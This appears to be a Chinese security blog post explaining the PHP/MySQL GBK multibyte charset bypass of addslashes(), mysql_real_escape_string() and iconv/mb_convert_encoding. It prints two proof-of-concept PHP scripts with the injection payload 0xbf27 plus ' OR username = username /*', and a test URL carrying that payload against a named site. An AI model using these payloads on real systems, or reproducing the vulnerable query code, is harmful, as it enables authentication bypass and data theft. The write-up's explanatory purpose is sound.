PHP字符编码绕过漏洞总结
其实这东西国内少数黑客早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞 就触发了。
mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。
方法一：
改变mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二：
在建立连接时使用
CODE:
SET CHARACTER SET ‘GBK’
例：mysql_query(“SET CHARACTER SET ‘gbk’”, $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
1 <?php
2 $c = mysql_connect(“localhost”, “user”, “pass”);
3 mysql_select_db(“database”, $c);
4 // change our character set
5 mysql_query(“SET CHARACTER SET ‘gbk’”, $c);
6 // create demo table
7 mysql_query(“CREATE TABLE users (
8 username VARCHAR(32) PRIMARY KEY,
9 password VARCHAR(32)
10 ) CHARACTER SET ‘GBK’”, $c);
11 mysql_query(“INSERT INTO users VALUES(‘foo’,'bar’), (‘baz’,'test’)”, $c);
12 // now the exploit code
13 $_POST['username'] = chr(0xbf) . chr(0×27) . ‘ OR username = username /*’;
14 $_POST['password'] = ‘anything’;
15 // Proper escaping, we should be safe, right?
16 $user = mysql_real_escape_string($_POST['username'], $c);
17 $passwd = mysql_real_escape_string($_POST['password'], $c);
18 $sql = “SELECT * FROM users WHERE username = ‘{$user}’ AND password = ‘{$passwd}’”;
19 $res = mysql_query($sql, $c);
20 echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
21 ?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知道字符集的情况下用默认字符集处理产生漏洞的。
下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过addslashes() 加上的”\”失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。
根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试
1 $id1=mb_convert_encoding($_GET['id'], ‘utf-8′, ‘gbk’);
2 $id2=iconv(‘gbk//IGNORE’, ‘utf-8′, $_GET['id']);
3 $id3=iconv(‘gbk’, ‘utf-8′, $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：
1 <?php
2 $c = mysql_connect(“localhost”, “user”, “pass”);
3 mysql_select_db(“database”, $c);
4 // change our character set
5 mysql_query(“SET CHARACTER SET ‘gbk’”, $c);
6 // create demo table
7 mysql_query(“CREATE TABLE users (
8 username VARCHAR(32) PRIMARY KEY,
9 password VARCHAR(32)
10 ) CHARACTER SET ‘GBK’”, $c);
11 mysql_query(“INSERT INTO users VALUES(‘foo’,'bar’), (‘baz’,'test’)”, $c);
12 // now the exploit code
13 //$id1=mb_convert_encoding($_GET['id'], ‘utf-8′, ‘gbk’);
14 $id2=iconv(‘gbk//IGNORE’, ‘utf-8′, $_GET['id']);
15 //$id3=iconv(‘gbk’, ‘utf-8′, $_GET['id']);
16 $sql = “SELECT * FROM users WHERE username = ‘{$id2}’ AND password = ‘password’”;
17 $res = mysql_query($sql, $c);
18 echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
19 ?>
测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*
后记，这里不光是%bf，其它许多字符也可以造成同样漏洞，大家可以自己做个测试的查下，这里有zwell文章提到的一个分析http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值，详情请看我早期转载的一篇文章Bypassing script filters with variable-width encodings [注，已被转到本站]
